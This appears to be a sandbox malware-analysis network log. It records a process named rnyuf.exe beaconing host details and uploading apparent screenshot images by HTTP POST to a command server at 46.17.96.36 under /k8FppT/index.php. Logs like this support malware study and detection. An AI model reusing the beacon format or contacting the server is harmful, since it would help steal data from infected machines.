Aug 29, 2021 22:29:02.557153940 CEST	17832	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:29:02.557193041 CEST	17834	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:29:02.557228088 CEST	17837	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:29:02.557416916 CEST	17848	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:29:02.557534933 CEST	17849	OUT	Data Raw: 1f c3 56 c5 cb 8f 7a 91 6e bd 68 f6 70 7d 43 da 54 46 69 86 41 fc 26 9a 55 87 50 45 6b 7d a5 0f 55 14 be 64 2d d5 45 3f 63 17 b3 0f 6c fa a3 23 14 95 ae 52 dd bb 51 f6 4b 73 d3 8a 9f 62 fa 31 fb 75 d5 19 34 56 a9 d3 e3 3d 1a a3 3a 61 ec c2 97 b1 Data Ascii: Vznhp}CTFiA&UPEk}Ud-E?cl#RQKsb1u4V=:a{hx4e0KIt)TUijco"2;\KFKJp1J2n%-4!ih%8RSP(.($ZpSi,ZQIJ--%8SD;H.(&LShG.(>P!FmsG(s
Aug 29, 2021 22:29:02.557584047 CEST	17854	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:29:02.590368032 CEST	17857	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:29:02.709378004 CEST	17924	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
295	192.168.2.4	50034	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:02.525418997 CEST	17829	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:02.595360041 CEST	17905	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
296	192.168.2.4	50035	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:02.801573992 CEST	17925	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:02.874840975 CEST	17926	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
297	192.168.2.4	50036	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:03.123279095 CEST	17926	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abc Host: 46.17.96.36 Content-Length: 107132 Cache-Control: no-cache
Aug 29, 2021 22:29:03.123385906 CEST	17927	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 30 37 32 61 31 37 38 64 62 64 63 36 31 36 37 62 31 39 32 33 35 62 61 65 66 62 61 32 61 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------8072a178dbdc6167b19235baefba2abcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:29:03.123567104 CEST	17937	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:29:03.123677015 CEST	17939	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:29:03.158473969 CEST	17943	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:29:03.158605099 CEST	17945	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:29:03.158647060 CEST	17953	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:29:03.158691883 CEST	17960	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:29:03.158904076 CEST	17965	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:29:03.194554090 CEST	17968	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:29:03.194659948 CEST	17976	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:29:03.304038048 CEST	18035	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
298	192.168.2.4	50037	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:03.142312050 CEST	17940	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:03.214739084 CEST	18016	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
299	192.168.2.4	50038	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:03.528788090 CEST	18036	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:03.602905035 CEST	18036	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Aug 29, 2021 22:29:03.875397921 CEST	18036	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abc Host: 46.17.96.36 Content-Length: 107132 Cache-Control: no-cache
Aug 29, 2021 22:29:03.875494957 CEST	18036	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 30 37 32 61 31 37 38 64 62 64 63 36 31 36 37 62 31 39 32 33 35 62 61 65 66 62 61 32 61 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------8072a178dbdc6167b19235baefba2abcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:29:03.875657082 CEST	18046	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:29:03.876230955 CEST	18049	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:29:03.909210920 CEST	18057	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:29:03.909269094 CEST	18065	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:29:03.909281015 CEST	18070	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:29:03.909287930 CEST	18076	OUT	Data Raw: b5 1a 90 b5 c9 78 47 14 e5 4e a2 76 3e 52 ef 5e 95 f0 3d 51 fc 79 2a ba ab 29 b1 93 21 86 47 de 4a f3 5a eb 3e 1e 78 a6 d3 c1 fe 24 7d 4e f2 de 69 e2 36 ef 10 48 b1 92 49 5f 52 38 e0 d7 9d 51 37 06 91 ed 53 69 49 36 7a 94 7e 28 bd be f1 84 70 d8 Data Ascii: xGNv>R^=Qy*)!GJZ>x$}Ni6HI_R8Q7SiI6z~(pI-{d\#8$/exjQUUf 8fg4Rfy^8#TZ#Qu]oIV}+mmkEx[II uH {
Aug 29, 2021 22:29:03.941772938 CEST	18079	OUT	Data Raw: 90 14 6d a2 48 8b 15 03 e6 fb a4 b1 c8 ce 7d c5 72 5a aa b7 e3 f7 af d2 e7 53 74 da 7f 81 62 1f 09 c9 3b ed 1a c6 94 aa f7 26 ce dd dd e5 0b 73 30 00 b2 21 f2 f8 c1 65 05 9b 6a e4 f0 48 e6 8b 3f 05 dd dd 5b da c9 f6 ed 36 09 ee a3 9a 58 6d a6 99 Data Ascii: mH}rZStb;&s0!ejH?[6Xm3,$dtznDmaaw5\#m3c,XTq1J,$+X\[#8b]f7cu?VMK_j0X\[^A5KtP?0O~6\vOn[28
Aug 29, 2021 22:29:03.941828012 CEST	18097	OUT	Data Raw: b8 d2 ef de 58 82 ee 31 be 57 e6 50 dc 65 c1 e8 47 6a e5 a7 56 a5 57 cb 08 dd 9b d4 a7 4e 92 e6 9c ac 8f 9f bf b1 f5 3f fa 07 5d ff 00 df 86 ff 00 0a 3f b1 f5 3f fa 07 5d ff 00 df 86 ff 00 0a f7 33 e2 1f 03 8e ba 4e a7 f9 8f fe 39 5b fa 35 9f 85 Data Ascii: X1WPeGjVWN?]??]3N9[5u5&0`G^y")%6cZXeVh9:GktFdmvs0~^H xY3.Y]Z*9WAQE(>o&Q\bdg)z{WU
Aug 29, 2021 22:29:03.941960096 CEST	18108	OUT	Data Raw: 69 5a 00 c5 3b 14 98 a2 c3 b8 a2 97 14 0a 76 29 89 88 29 71 cd 18 a7 77 a6 48 80 53 80 cd 25 38 55 22 58 84 52 62 9e 45 25 0c 06 e2 96 97 14 b8 a6 02 01 4e 14 01 4b 40 98 52 1a 75 03 93 4c 40 a2 a4 51 4d a9 07 02 ad 22 1b 1a d4 ca 94 8e 2a 32 28 Data Ascii: iZ;v))qwHS%8U"XRbE%NK@RuL@QM"*2(` RB(R<V4Q@$QNHD)jKERJM6u cih)i)GZsKLAP(:)ANpLuE!1hP#c6z7s5Q}Ma
Aug 29, 2021 22:29:04.045548916 CEST	18144	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49738	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:09.342900991 CEST	1066	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----699541f833ca8faa1bd26fe17facb267 Host: 46.17.96.36 Content-Length: 107110 Cache-Control: no-cache
Aug 29, 2021 22:27:09.342928886 CEST	1066	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 39 39 35 34 31 66 38 33 33 63 61 38 66 61 61 31 62 64 32 36 66 65 31 37 66 61 63 62 32 36 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------699541f833ca8faa1bd26fe17facb267Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:09.342988968 CEST	1076	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:09.343051910 CEST	1079	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:09.378416061 CEST	1084	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:09.378479004 CEST	1087	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:09.378663063 CEST	1090	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
